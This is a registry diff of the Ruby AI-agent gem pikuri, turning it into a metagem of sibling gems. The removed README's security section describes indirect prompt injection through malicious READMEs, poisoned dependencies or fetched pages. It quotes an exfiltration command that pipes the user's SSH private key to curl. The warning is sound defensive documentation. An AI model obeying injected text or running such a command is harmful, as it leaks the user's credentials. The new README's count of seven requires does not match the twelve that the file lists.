pikuri 0.0.1 → 0.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/README.md +43 -179
- data/lib/pikuri.rb +16 -162
- metadata +66 -123
- data/CHANGELOG.md +0 -62
- data/GETTING_STARTED.md +0 -223
- data/LICENSE +0 -21
- data/lib/pikuri/agent/chat_transport.rb +0 -41
- data/lib/pikuri/agent/context_window_detector.rb +0 -101
- data/lib/pikuri/agent/listener/in_memory_message_list.rb +0 -33
- data/lib/pikuri/agent/listener/message_listener.rb +0 -93
- data/lib/pikuri/agent/listener/step_limit.rb +0 -97
- data/lib/pikuri/agent/listener/terminal.rb +0 -137
- data/lib/pikuri/agent/listener/token_log.rb +0 -166
- data/lib/pikuri/agent/listener_list.rb +0 -113
- data/lib/pikuri/agent/message.rb +0 -61
- data/lib/pikuri/agent/synthesizer.rb +0 -120
- data/lib/pikuri/agent/tokens.rb +0 -56
- data/lib/pikuri/agent.rb +0 -286
- data/lib/pikuri/subprocess.rb +0 -166
- data/lib/pikuri/tool/bash.rb +0 -272
- data/lib/pikuri/tool/calculator.rb +0 -82
- data/lib/pikuri/tool/confirmer.rb +0 -96
- data/lib/pikuri/tool/edit.rb +0 -196
- data/lib/pikuri/tool/fetch.rb +0 -167
- data/lib/pikuri/tool/glob.rb +0 -310
- data/lib/pikuri/tool/grep.rb +0 -338
- data/lib/pikuri/tool/parameters.rb +0 -314
- data/lib/pikuri/tool/read.rb +0 -254
- data/lib/pikuri/tool/scraper/fetch_error.rb +0 -16
- data/lib/pikuri/tool/scraper/html.rb +0 -285
- data/lib/pikuri/tool/scraper/pdf.rb +0 -54
- data/lib/pikuri/tool/scraper/simple.rb +0 -177
- data/lib/pikuri/tool/search/brave.rb +0 -184
- data/lib/pikuri/tool/search/duckduckgo.rb +0 -196
- data/lib/pikuri/tool/search/engines.rb +0 -154
- data/lib/pikuri/tool/search/exa.rb +0 -217
- data/lib/pikuri/tool/search/rate_limiter.rb +0 -92
- data/lib/pikuri/tool/search/result.rb +0 -29
- data/lib/pikuri/tool/skill.rb +0 -80
- data/lib/pikuri/tool/skill_catalog.rb +0 -376
- data/lib/pikuri/tool/sub_agent.rb +0 -102
- data/lib/pikuri/tool/web_scrape.rb +0 -117
- data/lib/pikuri/tool/web_search.rb +0 -38
- data/lib/pikuri/tool/workspace.rb +0 -150
- data/lib/pikuri/tool/write.rb +0 -170
- data/lib/pikuri/tool.rb +0 -118
- data/lib/pikuri/url_cache.rb +0 -106
- data/lib/pikuri/version.rb +0 -10
- data/prompts/coding-system-prompt.txt +0 -28
- data/prompts/pikuri-chat.txt +0 -15
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 8738b90aabdb724518baa950866de9b8719a6e45e53580662bf4926e16bdbd60
|
|
4
|
+
data.tar.gz: 1df5f75e1290b1c390a6cd858ce9d0d45062299a9a6a0624598e99bdea47e77c
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: fc0724357798692147811c9f138c73feb8081125bf1d3462ad1ba8463894fa7acd236c3813782fc8e96f899d0e8e3edda6db7edc10f252c07213c0b5bad58d7d
|
|
7
|
+
data.tar.gz: 9feaf1d95c74c0cee37c22e18b8771321870d8ab3c6efb4fd06262f7fd51d013f842c44c0272c6c14c20b6fc71047d1d3bfe80fbbb9102df11e0b4039bc2eb6c
|
data/README.md
CHANGED
|
@@ -1,193 +1,57 @@
|
|
|
1
|
-
# pikuri
|
|
1
|
+
# pikuri (metagem)
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
locally, so the conversation never leaves your computer unless the
|
|
8
|
-
model itself decides to call a tool.
|
|
3
|
+
The convenience bundle for the
|
|
4
|
+
[pikuri](https://codeberg.org/mvysny/pikuri) AI-assistant toolkit:
|
|
5
|
+
`gem install pikuri` brings in every pikuri-* gem in one shot, and
|
|
6
|
+
`require 'pikuri'` boots them all.
|
|
9
7
|
|
|
10
|
-
|
|
8
|
+
This gem ships no Ruby code of its own — its `lib/pikuri.rb` is
|
|
9
|
+
seven `require` lines, one per sibling.
|
|
11
10
|
|
|
12
|
-
|
|
13
|
-
git clone https://codeberg.org/mvysny/pikuri.git
|
|
14
|
-
cd pikuri
|
|
15
|
-
|
|
16
|
-
# Ruby 3.x + bundler (Ubuntu/Debian)
|
|
17
|
-
sudo apt install ruby ruby-bundler
|
|
18
|
-
|
|
19
|
-
bundle install
|
|
20
|
-
|
|
21
|
-
./bin/pikuri-chat "What is 17 * 23?"
|
|
22
|
-
```
|
|
23
|
-
|
|
24
|
-
The first run won't get far — pikuri-chat needs a model behind it. See
|
|
25
|
-
[GETTING_STARTED.md](GETTING_STARTED.md) for the full walkthrough:
|
|
26
|
-
installing `llama.cpp`, pulling a model, starting `llama-server`, and
|
|
27
|
-
asking your first question.
|
|
28
|
-
|
|
29
|
-
## Using pikuri as a library
|
|
30
|
-
|
|
31
|
-
Pikuri is shipped as a Ruby gem you can use in your own project. The
|
|
32
|
-
recommended path: **first** play with `bin/pikuri-chat`, inspect the
|
|
33
|
-
sources, get a feel for the shape — *then* pull pikuri into your
|
|
34
|
-
project as a library:
|
|
11
|
+
## Install
|
|
35
12
|
|
|
36
13
|
```ruby
|
|
37
|
-
#
|
|
14
|
+
# Gemfile
|
|
38
15
|
gem 'pikuri'
|
|
39
16
|
```
|
|
40
17
|
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
`pikuri-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
c.openai_api_base = 'http://localhost:8080/v1' # llama.cpp default
|
|
50
|
-
c.openai_api_key = 'not-needed'
|
|
51
|
-
end
|
|
52
|
-
|
|
53
|
-
agent = Pikuri::Agent.new(
|
|
54
|
-
transport: Pikuri::Agent::ChatTransport.new(
|
|
55
|
-
model: 'unsloth/Qwen3.6-35B-A3B-GGUF',
|
|
56
|
-
provider: :openai,
|
|
57
|
-
assume_model_exists: true
|
|
58
|
-
),
|
|
59
|
-
system_prompt: Pikuri.prompt(:'pikuri-chat'),
|
|
60
|
-
tools: [Pikuri::Tool::CALCULATOR, Pikuri::Tool::WEB_SEARCH],
|
|
61
|
-
listeners: Pikuri::Agent::ListenerList.new([
|
|
62
|
-
Pikuri::Agent::Listener::Terminal.new,
|
|
63
|
-
Pikuri::Agent::Listener::StepLimit.new(max: 20)
|
|
64
|
-
])
|
|
65
|
-
)
|
|
66
|
-
|
|
67
|
-
agent.run_loop(user_message: 'What is 17 * 23?')
|
|
68
|
-
```
|
|
69
|
-
|
|
70
|
-
`bin/pikuri-chat` and `bin/pikuri-code` in this repo are the canonical
|
|
71
|
-
working examples — they're dev/demo scripts (not installed by
|
|
72
|
-
`gem install pikuri`), but they're the easiest place to crib wiring
|
|
73
|
-
from. The bundled system prompts under `prompts/` are loadable as a
|
|
74
|
-
starting point via `Pikuri.prompt(name)`.
|
|
75
|
-
|
|
76
|
-
## Why this exists
|
|
77
|
-
|
|
78
|
-
The existing self-hosted agent stacks have grown big and now have a
|
|
79
|
-
steep learning curve — a privacy-conscious user arriving fresh hits a
|
|
80
|
-
wall of JSON configuration before the first conversation. Pikuri is
|
|
81
|
-
the deliberate counter-move:
|
|
82
|
-
|
|
83
|
-
- **Privacy-first.** Defaults wire a local `llama.cpp` server. No
|
|
84
|
-
cloud account, no API key, no telemetry, no request leaving the
|
|
85
|
-
machine — unless you explicitly opt in by configuring an external
|
|
86
|
-
provider, or the model calls a network tool like `web_search`.
|
|
87
|
-
- **Simple.** Two short scripts, sane defaults, no config file required
|
|
88
|
-
to get the first conversation going.
|
|
89
|
-
- **Gentle learning curve.** Defaults work without a config file. The
|
|
90
|
-
surface area grows as you grow into it: start by chatting, then add
|
|
91
|
-
a search API key when you want better results, then edit the system
|
|
92
|
-
prompt when you want to specialise behaviour.
|
|
93
|
-
- **Teaches you how to use it.** [GETTING_STARTED.md](GETTING_STARTED.md)
|
|
94
|
-
walks you from zero — a fresh checkout, no model running — to a
|
|
95
|
-
working personal assistant: installing the local model server,
|
|
96
|
-
asking your first question, understanding what each bundled tool
|
|
97
|
-
does, and choosing a search backend that matches your privacy
|
|
98
|
-
comfort level.
|
|
18
|
+
Transitively installs:
|
|
19
|
+
- [`pikuri-core`](../pikuri-core/README.md) — the foundation
|
|
20
|
+
- [`pikuri-skills`](../pikuri-skills/README.md) — Agent Skills support
|
|
21
|
+
- [`pikuri-workspace`](../pikuri-workspace/README.md) — filesystem tools
|
|
22
|
+
- [`pikuri-code`](../pikuri-code/README.md) — Bash + `bin/pikuri-code`
|
|
23
|
+
- [`pikuri-mcp`](../pikuri-mcp/README.md) — MCP support
|
|
24
|
+
- [`pikuri-subagents`](../pikuri-subagents/README.md) — `agent` tool + bundled personas + `bin/pikuri-minions`
|
|
25
|
+
- [`pikuri-assistant`](../pikuri-assistant/README.md) — `bin/pikuri-assistant`
|
|
99
26
|
|
|
100
|
-
|
|
27
|
+
All version-locked together — bumping the metagem requires the
|
|
28
|
+
matching sibling versions.
|
|
101
29
|
|
|
102
|
-
|
|
103
|
-
Thought → Tool-call → Observation loop. If you want to *learn* how
|
|
104
|
-
that loop works internally — minimal code, no extension surface,
|
|
105
|
-
nothing to wade through — read
|
|
106
|
-
[agentic-loop-demo](https://codeberg.org/mvysny/agentic-loop-demo).
|
|
107
|
-
It's the same author's small didactic project, written precisely so
|
|
108
|
-
the source is the lesson. Pikuri is the production-shaped sibling:
|
|
109
|
-
same loop, plus tools, listeners, sub-agents, and ergonomics.
|
|
30
|
+
## When NOT to use this gem
|
|
110
31
|
|
|
111
|
-
|
|
32
|
+
Privacy-conscious users who care about a minimal dependency tree
|
|
33
|
+
should install just the lean core + the extensions they actually
|
|
34
|
+
need:
|
|
112
35
|
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
An in-repo coding agent in the spirit of Claude Code, opencode, or
|
|
119
|
-
pi-code — but kept deliberately small so you can read the sources in
|
|
120
|
-
an evening. Wire-by-wire it's the same `Pikuri::Agent` as
|
|
121
|
-
`pikuri-chat`, with a different system prompt and a different toolset:
|
|
122
|
-
`read`, `write`, `edit`, `grep`, `glob`, `bash`, plus the web tools
|
|
123
|
-
and the calculator. Sub-agents are enabled, and any
|
|
124
|
-
[Agent Skills](https://agentskills.io/specification) discovered under
|
|
125
|
-
`.pikuri/skills`, `.claude/skills`, `.agents/skills` (project or home)
|
|
126
|
-
get exposed to the model on demand.
|
|
127
|
-
|
|
128
|
-
Run it from the root of the repo you want it to work in:
|
|
129
|
-
|
|
130
|
-
```sh
|
|
131
|
-
cd ~/code/your-project
|
|
132
|
-
/path/to/pikuri/bin/pikuri-code
|
|
133
|
-
```
|
|
134
|
-
|
|
135
|
-
You'll land in a REPL — type a request at the `>` prompt, hit enter,
|
|
136
|
-
and the agent will start reading files, running commands, and editing
|
|
137
|
-
code to satisfy it. Ctrl+D (or Ctrl+C) exits. You can also pass an
|
|
138
|
-
initial message on the command line:
|
|
139
|
-
|
|
140
|
-
```sh
|
|
141
|
-
/path/to/pikuri/bin/pikuri-code "find the failing spec and fix it"
|
|
36
|
+
```ruby
|
|
37
|
+
gem 'pikuri-core'
|
|
38
|
+
gem 'pikuri-mcp' # if they want MCP
|
|
39
|
+
gem 'pikuri-skills' # if they want skills
|
|
40
|
+
# ... etc.
|
|
142
41
|
```
|
|
143
42
|
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
**
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
your browser cookies, your cloud CLI credentials — all reachable.
|
|
160
|
-
An LLM that's been prompt-injected (e.g. by a malicious README it
|
|
161
|
-
scraped, a poisoned dependency, or a crafted file in the repo) can
|
|
162
|
-
ask to run `cat ~/.ssh/id_ed25519 | curl -X POST ...` and the only
|
|
163
|
-
thing standing between that and exfiltration is *you* reading the
|
|
164
|
-
confirmation prompt carefully. The workspace lock applies to
|
|
165
|
-
pikuri's own `read`/`write`/`edit`/`grep`/`glob` tools — it does
|
|
166
|
-
**not** apply to `bash`, which can `cat`, `cp`, `scp`, `curl`
|
|
167
|
-
anything the OS lets your user touch.
|
|
168
|
-
- **`--yolo` auto-approves everything.** That flag exists for use
|
|
169
|
-
*inside* a disposable container or VM. Running `--yolo` on your
|
|
170
|
-
laptop is equivalent to handing the model a root shell. Don't.
|
|
171
|
-
- **Network tools fetch arbitrary URLs.** `web_search`, `web_scrape`,
|
|
172
|
-
and `fetch` are happy to pull whatever the model asks for, and the
|
|
173
|
-
content of those pages then becomes part of the conversation —
|
|
174
|
-
classic indirect prompt-injection surface.
|
|
175
|
-
- **No audit log of approved actions.** Once you approve a `bash`
|
|
176
|
-
command it runs; there's no separate record beyond your scrollback.
|
|
177
|
-
|
|
178
|
-
In short: run it inside a Docker container, a dev container, a VM, a
|
|
179
|
-
fresh user account — anywhere you'd be fine with a stranger having a
|
|
180
|
-
shell. The sandboxing story is a known gap and tracked as future
|
|
181
|
-
work (see `IDEAS.md`); until it lands, **assume the agent can do
|
|
182
|
-
anything your user can do**, and approve prompts on that basis.
|
|
183
|
-
|
|
184
|
-
## pikuri-assistant
|
|
185
|
-
|
|
186
|
-
Has access to your private documents, can read and respond to e-mails, remembers
|
|
187
|
-
stuff. TODO implemented in the future.
|
|
188
|
-
|
|
189
|
-
## Tests
|
|
190
|
-
|
|
191
|
-
```sh
|
|
192
|
-
bundle exec rspec
|
|
193
|
-
```
|
|
43
|
+
`pikuri-core` is the minimal install. Adding `pikuri-mcp` adds
|
|
44
|
+
exactly one new runtime gem (`mcp`); `pikuri-workspace` /
|
|
45
|
+
`pikuri-skills` / `pikuri-code` / `pikuri-subagents` /
|
|
46
|
+
`pikuri-assistant` add nothing beyond pikuri's own gems. The dep
|
|
47
|
+
tree stays auditable.
|
|
48
|
+
|
|
49
|
+
## Further reading
|
|
50
|
+
|
|
51
|
+
- **Narrative walkthrough:** the [pikuri
|
|
52
|
+
guide](../docs/guide/) — a short sequential book covering the
|
|
53
|
+
whole family, chapter by chapter.
|
|
54
|
+
- **API reference:** browse the YARD docs at
|
|
55
|
+
<https://rubydoc.info/gems/pikuri> (once published), or run
|
|
56
|
+
`bundle exec yard` in any sibling gem's directory for a local
|
|
57
|
+
copy of that gem's docs.
|
data/lib/pikuri.rb
CHANGED
|
@@ -1,165 +1,19 @@
|
|
|
1
1
|
# frozen_string_literal: true
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
require '
|
|
5
|
-
|
|
6
|
-
#
|
|
7
|
-
# the version constant via +require_relative+ at build time without
|
|
8
|
-
# loading Zeitwerk and every runtime dep. Requiring it here makes the
|
|
9
|
-
# constant available to ordinary +require 'pikuri'+ callers too —
|
|
10
|
-
# without this line, Zeitwerk's ignore-rule below would leave
|
|
11
|
-
# +Pikuri::VERSION+ undefined for anyone using the installed gem.
|
|
12
|
-
require_relative 'pikuri/version'
|
|
13
|
-
|
|
14
|
-
# Boot file: configures the Zeitwerk autoloader for every file under
|
|
15
|
-
# +lib/pikuri/+ and eager-loads them all. After +require 'pikuri'+,
|
|
16
|
-
# every constant pikuri ships (+Pikuri::Agent+, +Pikuri::Tool+,
|
|
17
|
-
# +Pikuri::Tool::Calculator+, +Pikuri::Tool::Scraper::HTML+, ...) is
|
|
18
|
-
# defined and resolvable.
|
|
19
|
-
#
|
|
20
|
-
# Beyond loading, the +Pikuri+ module owns the logging surface — see
|
|
21
|
-
# {.logger_for}, {.log_io=}, and the +PIKURI_LOG+ /
|
|
22
|
-
# +PIKURI_LOG_<NAME>+ env vars. Each subsystem holds its own
|
|
23
|
-
# memoized +Logger+, all writing through a shared IO that
|
|
24
|
-
# {.log_io=} can swap in one shot (handy in tests, daemons, or
|
|
25
|
-
# anywhere stderr isn't the right sink).
|
|
3
|
+
# +pikuri+ metagem entry file. Boots every sibling gem in dependency
|
|
4
|
+
# order so +require 'pikuri'+ pulls in the whole pikuri-* family in
|
|
5
|
+
# one shot. Each sibling owns its own Zeitwerk loader + PROMPT_DIRS
|
|
6
|
+
# registration; we just need them loaded.
|
|
26
7
|
#
|
|
27
|
-
#
|
|
28
|
-
#
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
# Absolute path to the directory holding pikuri's bundled system
|
|
40
|
-
# prompts (+pikuri-chat.txt+, +coding-system-prompt.txt+). Resolves
|
|
41
|
-
# correctly both in a source checkout and in an installed gem because
|
|
42
|
-
# +__dir__+ tracks the file's actual location either way; the gem
|
|
43
|
-
# ships +prompts/+ as a sibling of +lib/+ so the same relative jump
|
|
44
|
-
# works.
|
|
45
|
-
#
|
|
46
|
-
# Exposed publicly so a downstream library user can read pikuri's
|
|
47
|
-
# prompts as a starting point for their own system prompt (or use
|
|
48
|
-
# them verbatim). Prefer {.prompt} for the common case of loading
|
|
49
|
-
# one by name; reach for this constant only if you need the
|
|
50
|
-
# directory itself (e.g. to list available prompts).
|
|
51
|
-
#
|
|
52
|
-
# @return [String]
|
|
53
|
-
PROMPTS_DIR = File.expand_path('../prompts', __dir__)
|
|
54
|
-
|
|
55
|
-
# Mapping from +PIKURI_LOG+ env-var values (lowercased) to
|
|
56
|
-
# {Logger} level constants. Anything else falls back to +INFO+.
|
|
57
|
-
#
|
|
58
|
-
# @return [Hash{String=>Integer}]
|
|
59
|
-
LOG_LEVELS = {
|
|
60
|
-
'debug' => Logger::DEBUG,
|
|
61
|
-
'info' => Logger::INFO,
|
|
62
|
-
'warn' => Logger::WARN,
|
|
63
|
-
'error' => Logger::ERROR,
|
|
64
|
-
'fatal' => Logger::FATAL
|
|
65
|
-
}.freeze
|
|
66
|
-
|
|
67
|
-
@log_io = $stderr
|
|
68
|
-
@log_loggers = {} # name → Logger; lets {.log_io=} rewire all of them
|
|
69
|
-
@log_default = LOG_LEVELS.fetch(ENV['PIKURI_LOG'].to_s.downcase, Logger::INFO)
|
|
70
|
-
|
|
71
|
-
class << self
|
|
72
|
-
# @return [IO] shared sink every {.logger_for} writes through
|
|
73
|
-
attr_reader :log_io
|
|
74
|
-
|
|
75
|
-
# Swap the shared sink (e.g. a +StringIO+ in tests, a file in a
|
|
76
|
-
# daemon). Re-points every logger already handed out by
|
|
77
|
-
# {.logger_for} so callers don't have to re-fetch them.
|
|
78
|
-
#
|
|
79
|
-
# Why we don't use +Logger#reopen+: that method closes the previous
|
|
80
|
-
# sink before installing the new one, which makes "swap to a
|
|
81
|
-
# capture +StringIO+, then swap back to the original" impossible —
|
|
82
|
-
# the original handle would be dead the second time around. Instead
|
|
83
|
-
# we swap each logger's +@logdev+ to a fresh +Logger::LogDevice+
|
|
84
|
-
# over the new +io+, leaving the previous device untouched so the
|
|
85
|
-
# caller can hand the same +IO+ back in later. This uses a documented
|
|
86
|
-
# but internal Logger ivar; if a future Ruby renames it the
|
|
87
|
-
# +Engines+ logging specs will fail loudly.
|
|
88
|
-
#
|
|
89
|
-
# @param io [IO] new sink for every Pikuri logger
|
|
90
|
-
# @return [IO]
|
|
91
|
-
def log_io=(io)
|
|
92
|
-
@log_io = io
|
|
93
|
-
@log_loggers.each_value do |lg|
|
|
94
|
-
lg.instance_variable_set(:@logdev, Logger::LogDevice.new(io))
|
|
95
|
-
end
|
|
96
|
-
io
|
|
97
|
-
end
|
|
98
|
-
|
|
99
|
-
# Memoized {Logger} tagged with +name+ in its +progname+, so each
|
|
100
|
-
# subsystem's lines stand out in the shared sink. Level resolves
|
|
101
|
-
# in this order: +PIKURI_LOG_<NAME>+ (e.g. +PIKURI_LOG_ENGINES=debug+),
|
|
102
|
-
# then +PIKURI_LOG+, then +INFO+.
|
|
103
|
-
#
|
|
104
|
-
# Repeated calls with the same +name+ return the same instance so
|
|
105
|
-
# there is one logger per subsystem and {.log_io=} can rewire them
|
|
106
|
-
# all in one shot.
|
|
107
|
-
#
|
|
108
|
-
# @param name [String] subsystem tag (rendered as +progname+)
|
|
109
|
-
# @return [Logger]
|
|
110
|
-
def logger_for(name)
|
|
111
|
-
@log_loggers[name] ||= begin
|
|
112
|
-
lg = Logger.new(@log_io, progname: name)
|
|
113
|
-
override = ENV["PIKURI_LOG_#{name.upcase}"].to_s.downcase
|
|
114
|
-
lg.level = LOG_LEVELS.fetch(override, @log_default)
|
|
115
|
-
lg
|
|
116
|
-
end
|
|
117
|
-
end
|
|
118
|
-
|
|
119
|
-
# Read a bundled prompt by basename. +name+ is matched against the
|
|
120
|
-
# files in {PROMPTS_DIR}; a +.txt+ extension is auto-appended if
|
|
121
|
-
# absent. Symbols are accepted as a convenience (+:pikuri-chat+ /
|
|
122
|
-
# +'pikuri-chat'+ / +'pikuri-chat.txt'+ all resolve to the same file).
|
|
123
|
-
#
|
|
124
|
-
# Intended for downstream library users who want to bootstrap their
|
|
125
|
-
# own +Pikuri::Agent+ wiring from pikuri's defaults — read the
|
|
126
|
-
# prompt, customize the bits they care about, hand the result to
|
|
127
|
-
# +Agent.new(system_prompt: ...)+.
|
|
128
|
-
#
|
|
129
|
-
# @example
|
|
130
|
-
# chat_prompt = Pikuri.prompt(:'pikuri-chat')
|
|
131
|
-
# agent = Pikuri::Agent.new(system_prompt: chat_prompt, ...)
|
|
132
|
-
#
|
|
133
|
-
# @param name [String, Symbol] basename of the prompt file
|
|
134
|
-
# @return [String] file contents
|
|
135
|
-
# @raise [ArgumentError] if no matching file exists in {PROMPTS_DIR}
|
|
136
|
-
def prompt(name)
|
|
137
|
-
basename = name.to_s
|
|
138
|
-
basename += '.txt' unless basename.end_with?('.txt')
|
|
139
|
-
path = File.join(PROMPTS_DIR, basename)
|
|
140
|
-
unless File.exist?(path)
|
|
141
|
-
available = Dir.children(PROMPTS_DIR).sort.join(', ')
|
|
142
|
-
raise ArgumentError, "Unknown pikuri prompt #{name.inspect}; available: #{available}"
|
|
143
|
-
end
|
|
144
|
-
File.read(path)
|
|
145
|
-
end
|
|
146
|
-
end
|
|
147
|
-
|
|
148
|
-
Loader = Zeitwerk::Loader.new
|
|
149
|
-
Loader.tag = 'pikuri'
|
|
150
|
-
Loader.push_dir(File.expand_path('.', __dir__))
|
|
151
|
-
Loader.ignore(__FILE__)
|
|
152
|
-
# +lib/pikuri/version.rb+ defines +Pikuri::VERSION+ (an ALL_CAPS value
|
|
153
|
-
# constant), not +Pikuri::Version+ as Zeitwerk would expect from the
|
|
154
|
-
# filename — so tell the loader to skip it. The file is +require_relative+'d
|
|
155
|
-
# at the top of this file (and also by the gemspec at build time), so
|
|
156
|
-
# the constant is defined before Zeitwerk runs.
|
|
157
|
-
Loader.ignore(File.expand_path('pikuri/version.rb', __dir__))
|
|
158
|
-
Loader.inflector.inflect(
|
|
159
|
-
'html' => 'HTML',
|
|
160
|
-
'pdf' => 'PDF',
|
|
161
|
-
'duckduckgo' => 'DuckDuckGo'
|
|
162
|
-
)
|
|
163
|
-
Loader.setup
|
|
164
|
-
Loader.eager_load
|
|
165
|
-
end
|
|
8
|
+
# Privacy-conscious users who want a minimal dependency tree should
|
|
9
|
+
# install +pikuri-core+ directly and skip this metagem.
|
|
10
|
+
require 'pikuri-core'
|
|
11
|
+
require 'pikuri-skills'
|
|
12
|
+
require 'pikuri-tasks'
|
|
13
|
+
require 'pikuri-memory'
|
|
14
|
+
require 'pikuri-workspace'
|
|
15
|
+
require 'pikuri-mcp'
|
|
16
|
+
require 'pikuri-code'
|
|
17
|
+
require 'pikuri-subagents'
|
|
18
|
+
require 'pikuri-vectordb'
|
|
19
|
+
require 'pikuri-assistant'
|